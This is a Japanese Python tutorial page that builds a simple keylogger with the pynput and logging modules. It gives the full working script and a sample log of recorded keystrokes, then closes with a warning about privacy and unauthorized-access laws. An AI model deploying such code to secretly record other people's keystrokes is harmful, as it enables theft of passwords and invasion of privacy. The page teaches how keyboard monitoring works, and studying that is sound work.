Python
 Computer >> コンピューター >  >> プログラミング >> Python

Pythonでキーロガーを作成する方法|pynputによるキー入力の記録

キーロガーとは?

本記事では、Pythonを使ってシンプルなキーロガーを開発する方法を解説します。まず最初に、「キーロガー」とは何かを確認しておきましょう。

キーロガーとは、キーボードへの入力(キーストローク)を監視・記録するプログラムのことです。記録されたキー入力はログファイルに保存され、ユーザー名やパスワードといった機密情報がどのように入力されたのかを後から確認できるようになります。セキュリティ学習や仕組みの理解を目的として広く知られている技術ですが、扱い方には十分な注意が必要です。

pynputモジュールのインストール

キーロガーの作成には「pynput」モジュールを使用します。pynputはPythonの標準ライブラリではないため、事前にインストールしておく必要があります。

pipを使ってインストールするには、以下のコマンドを実行します。

pip install pynput
Requirement already satisfied: pynput in c:\python\python361\lib\site-packages (1.4)
Requirement already satisfied: six in c:\python\python361\lib\site-packages (from pynput) (1.10.0)

インストールが成功しているかどうかは、Pythonシェルでモジュールをインポートして確認できます。エラーが出なければ準備完了です。

>>> import pynput
>>>

キーロガーの構築を始めよう

必要なライブラリのインストールが完了したら、必要なパッケージとメソッドをインポートします。キーボードを監視するには、pynput.keyboardモジュールの「Key」と「Listener」を使用します。また、キーストロークをファイルに記録するために、標準ライブラリのloggingモジュールも併用します。

from pynput.keyboard import Key, Listener
import logging

次に、ログファイルの保存先パス、書き込みレベル、ログのフォーマットを設定します。ここではデスクトップ上に「keyLog.txt」という名前で保存する例を示します。

log_dir = r"C:/users/username/desktop/"
logging.basicConfig(filename=(log_dir + "keyLog.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')

続いて、キーが押されるたびに呼び出されるon_press()関数を定義します。この関数は押されたキーを引数として受け取り、その内容を文字列に変換してログに書き込みます。

def on_press(key):
    logging.info(str(key))

最後に、Listenerのインスタンスを作成してon_pressメソッドを登録し、そのインスタンスをメインスレッドに接続(join)します。これにより、プログラムが終了するまで継続的にキー入力を監視できるようになります。

with Listener(on_press=on_press) as listener:
    listener.join()

完成版のコード

ここまでの手順をすべて組み合わせると、最終的なプログラムは以下のようになります。わずか数行のシンプルなコードであることが分かります。

from pynput.keyboard import Key, Listener
import logging

log_dir = r"C:/users/username/desktop/"
logging.basicConfig(filename=(log_dir + "keyLog.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')

def on_press(key):
    logging.info(str(key))

with Listener(on_press=on_press) as listener:
    listener.join()

動作確認:ログファイルの中身を見てみる

スクリプトを実行中にブラウザを開き、実際に文字を入力してみました。まず「hello world, python」と入力し、その後「python」の部分をバックスペースで削除して「Wikipedia」と打ち直しています。さて、ログファイルには何が記録されているのでしょうか。

デスクトップ上に「keyLog.txt」ファイルが作成されており、その内容を開いてみると次のようになっていました。

2019-01-18 17:06:21,854: Key.cmd
2019-01-18 17:06:22,022: 'd'
2019-01-18 17:06:39,304: 'h'
2019-01-18 17:06:39,435: 'e'
2019-01-18 17:06:39,564: 'l'
2019-01-18 17:06:39,754: 'l'
2019-01-18 17:06:39,943: 'o'
2019-01-18 17:06:40,245: Key.space
2019-01-18 17:06:40,450: 'w'
2019-01-18 17:06:40,536: 'o'
2019-01-18 17:06:40,694: 'r'
2019-01-18 17:06:40,818: 'l'
2019-01-18 17:06:40,943: 'd'
2019-01-18 17:06:43,527: ','
2019-01-18 17:06:44,947: Key.space
2019-01-18 17:06:45,091: 'p'
2019-01-18 17:06:45,342: 'y'
2019-01-18 17:06:45,468: 't'
2019-01-18 17:06:45,580: 'h'
2019-01-18 17:06:45,674: 'o'
2019-01-18 17:06:45,808: 'n'
2019-01-18 17:06:45,872: Key.space
2019-01-18 17:06:48,692: Key.backspace
2019-01-18 17:06:48,891: Key.backspace
2019-01-18 17:06:49,079: Key.backspace
2019-01-18 17:06:49,223: Key.backspace
2019-01-18 17:06:49,405: Key.backspace
2019-01-18 17:06:49,584: Key.backspace
2019-01-18 17:06:49,816: Key.backspace
2019-01-18 17:06:50,004: 'w'
2019-01-18 17:06:50,162: 'i'
2019-01-18 17:06:50,392: 'k'
2019-01-18 17:06:50,572: 'i'
2019-01-18 17:06:51,395: 'p'
2019-01-18 17:06:51,525: 'e'
2019-01-18 17:06:51,741: 'd'
2019-01-18 17:06:51,838: 'i'
2019-01-18 17:06:52,104: 'a'

このように、ブラウザに入力したすべてのキーストロークがタイムスタンプ付きでログファイルに記録されていることが確認できます。通常の文字だけでなく、スペース(Key.space)やバックスペース(Key.backspace)、Windowsキー(Key.cmd)といった特殊キーも正しく捕捉されています。これで、Pythonによる非常にシンプルなキーロガーが完成しました。

まとめと注意点

本記事では、pynputモジュールのKeyとListener、そしてloggingモジュールを組み合わせることで、最小限のコードでキー入力を記録する仕組みを実装しました。キーボードイベントの基本的な扱い方を学ぶ題材として、とても良い教材と言えます。

ただし、キーロガーは強力な技術である反面、他人のキー入力を無断で監視・記録する行為は、プライバシーの侵害や不正アクセス禁止法などの法令に抵触するおそれがあります。本記事の内容は、あくまでセキュリティ学習や自分自身の環境での動作検証を目的としたものです。必ず適法かつ倫理的な範囲内で活用してください。

  1. 【初心者向け】Pythonのissuperset()メソッドの使い方をわかりやすく解説

    はじめにこの記事では、Pythonのissuperset()メソッドについて、基本的な仕組みから実際のコード例まで詳しく解説します。issuperset()は、セット(集合)に対して使用できるメソッドで、引数として渡されたセットのすべての要素が、呼び出し元のセットに含まれているかどうかを判定します。呼び出し元のセットBが、引数のセットAのすべての要素を含んでいる場合 → True を返すセットAの要素がすべてBに含まれていない場合 → False を返すつまり、「BがAの上位集合(スーパーセット)であるかどうか」を判定するためのメソッドです。基本構文B.issuperset(A)この式は、Bが

  2. PythonでQuine(クワイン)プログラムを書いてみよう

    「Quine(クワイン)」とは、入力を一切受け取らずに、自分自身のソースコードを出力する特殊なプログラムのことです。一見すると不思議な自己言及的な仕組みですが、実装にはいくつかの厳格なルールがあります。最も重要な条件は、プログラム内部からソースコードファイルを読み込んではいけないという点です。つまり、純粋にコード自身の論理だけで自分の内容を再現しなければなりません。 サンプルコード Pythonでは、わずか1行でQuineを実現できます。 a=a=%r;print (a%%a);print (a%a) 実行結果 a=a=%r;print (a%%a);print (a%a) ご覧のとお